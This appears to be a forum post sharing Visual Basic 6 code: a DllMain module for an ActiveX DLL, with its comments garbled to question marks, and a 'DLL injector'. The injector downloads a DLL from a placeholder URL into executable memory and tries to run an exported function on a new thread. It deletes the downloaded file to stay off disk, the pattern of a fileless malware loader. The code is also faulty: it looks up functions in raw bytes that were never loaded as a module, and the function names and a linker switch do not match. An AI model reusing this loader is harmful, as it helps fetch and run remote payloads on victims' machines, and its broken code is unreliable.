DLL

' modMainDLL.bas - ????????????? DLL (Apartment threaded)
' © ??????? ???????? ??????????? (The trick), 2014

Option Explicit

Private Type uuid
data1 As Long
data2 As Integer
data3 As Integer
data4(7) As Byte
End Type

Public hInstance As Long

Private lpInst_ As Long
Private lpUnk_ As Long
Private lpVBHdr_ As Long

' ????? ?????, ????? ?? ?????? ???? ????????? ? ??????? ??????????, ?.?. public, private, static
Public Function DllMain(ByVal hInstDLL As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
Dim iid As uuid
Dim clsid As uuid
Dim lpInst As Long
Dim lpUnk As Long
Dim lpVBHdr As Long
Dim lpProc As Long

' ??? ???????? ???????? ??? ??????
If fdwReason = DLL_PROCESS_ATTACH Or fdwReason = DLL_THREAD_ATTACH Then
' ???????? ?????? ??? ??????, VBHeader, ? ??? ????????? ??????????? ??? ????????????
' ?????? ????? ???????? ???? ?????? (?????????, ????????? ?????????? ? ?.?.)
lpProc = GetProcAddress(hInstDLL, "DllGetClassObject")
If lpProc = 0 Then Exit Function
GetMem4 ByVal lpProc + 2, lpVBHdr
GetMem4 ByVal lpProc + 7, lpUnk
GetMem4 ByVal lpProc + 12, lpInst
' ????????????? COM
vbCoInitialize ByVal 0&
' ??? ??????? ?????????? ?? ActiveX DLL
DllMain = UserDllMain(lpInst, lpUnk, hInstDLL, fdwReason, ByVal lpvReserved)
If DllMain = 0 Then Exit Function
iid.data4(0) = &HC0: iid.data4(7) = &H46 ' IUnknown
VBDllGetClassObject lpInst, lpUnk, lpVBHdr, clsid, iid, 0 ' ????????????? ??????
' ??? ?????????? ? ????????? ?????????? ??????????, ??????????????? ??
SetPublicVariable lpInst, lpUnk, lpVBHdr, hInstDLL
Else
vbCoUninitialize
DllMain = DefMainDLL(hInstDLL, fdwReason, ByVal lpvReserved)
End If

End Function

Private Sub SetPublicVariable(ByVal lpInst As Long, ByVal lpUnk As Long, ByVal lpVBHdr As Long, ByVal hInstDLL As Long)
lpInst_ = lpInst: lpUnk_ = lpUnk: lpVBHdr_ = lpVBHdr: hInstance = hInstDLL
End Sub
Private Function DefMainDLL(ByVal hInstDLL As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
DefMainDLL = UserDllMain(lpInst_, lpUnk_, hInstDLL, fdwReason, ByVal lpvReserved)
End Function

Option Explicit


Public CronTFull As Boolean

Public Function ExecuteDLL(ByVal code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

MsgBox "Start Function : ExecuteDLL"

End Function


[VBCompiler]
LinkSwitches= /ENTRYllMain /EXPORT:ExecuteDLL

Where ExecuteD is the function I want to call when I inject the dll

Now I will pass the code of the dll injector


Private Sub Command1_Click()
Call TestInjectDLL

End Sub


Private Declare Function URLDownloadToCacheFile Lib "urlmon" Alias "URLDownloadToCacheFileA" (ByVal lpUnkcaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal cchFileName As Long, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Public Declare Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Public Declare Function RtlMoveMemory Lib "kernel32" (ByVal Destination As Any, ByVal Source As Any, ByVal Length As Long) As Long
Public Declare Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, ByRef lpThreadId As Long) As Long
Public Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Public Const MEM_COMMIT = &H1000
Public Const PAGE_EXECUTE_READWRITE = &H40
Public Const INFINITE = &HFFFFFFFF

' Test function to download the DLL, inject it and call the function
Public Sub TestInjectDLL()
Dim dllData() As Byte
Dim url As String
Dim funcName As String

' URL of the DLL to be downloaded
url = "https://URLDONWLOADDLL/teste.dll"

' Name of the exported function to be called
funcName = "ExecuteEncryptedDLL"

' Download the DLL into memory
dllData = DownloadDLLToMemory(url)

' Inject and execute DLL directly from memory
InjectDLLFromMemory dllData, funcName
End Sub


' Function to download the DLL directly to memory
Private Function DownloadDLLToMemory(ByVal url As String) As Byte()
Dim buffer() As Byte
Dim tmpFileName As String * 260
Dim hResult As Long

' Download DLL to cache (without saving to disk)
hResult = URLDownloadToCacheFile(0, url, tmpFileName, Len(tmpFileName), 0, 0)

If hResult = 0 Then
Open tmpFileName For Binary As #1
ReDim buffer(LOF(1) - 1)
Get #1, , buffer
Close #1
Kill tmpFileName ' Delete downloaded file immediately after reading
End If

DownloadDLLToMemory = buffer
End Function


' Function to find the address of the function exported from the DLL
Private Function GetProcAddressFromMemory(ByVal dllPointer As Long, ByVal funcName As String) As Long
' Get the address of the exported function
GetProcAddressFromMemory = GetProcAddress(dllPointer, funcName)

If GetProcAddressFromMemory = 0 Then
MsgBox "Failed to locate function" & funcName
End If
End Function

' Function to inject and call the exported function
Public Sub InjectDLLFromMemory(ByRef dllData() As Byte, ByVal funcName As String)
Dim dllPointer As Long
Dim funcAddress As Long
Dim threadHandle As Long
Dim threadId As Long
Dim dllSize As Long
Dim dataPointer As Long

' Get DLL size
dllSize = UBound(dllData) + 1

' Get the pointer to the byte array
dataPointer = VarPtr(dllData(0))

' Allocate memory in the current process for the DLL
dllPointer = VirtualAlloc(0, dllSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)

' Move downloaded DLL data to allocated space
Call RtlMoveMemory(ByVal dllPointer, ByVal dataPointer, dllSize)

' Find the address of the exported function
funcAddress = GetProcAddressFromMemory(dllPointer, funcName)

MsgBox "DLL loaded at address:" & Hex(dllPointer)

If funcAddress = 0 Then
MsgBox "Failed to get function address" & funcName
Exit Sub
End If

' Create a thread to execute the injected DLL function
threadHandle = CreateThread(0, 0, funcAddress, 0, 0, threadId)

' Wait for the thread to finish to avoid crashing
If threadHandle <> 0 Then
WaitForSingleObject threadHandle, INFINITE
CloseHandle threadHandle
Else
MsgBox "Failed to create thread."
End If
End Sub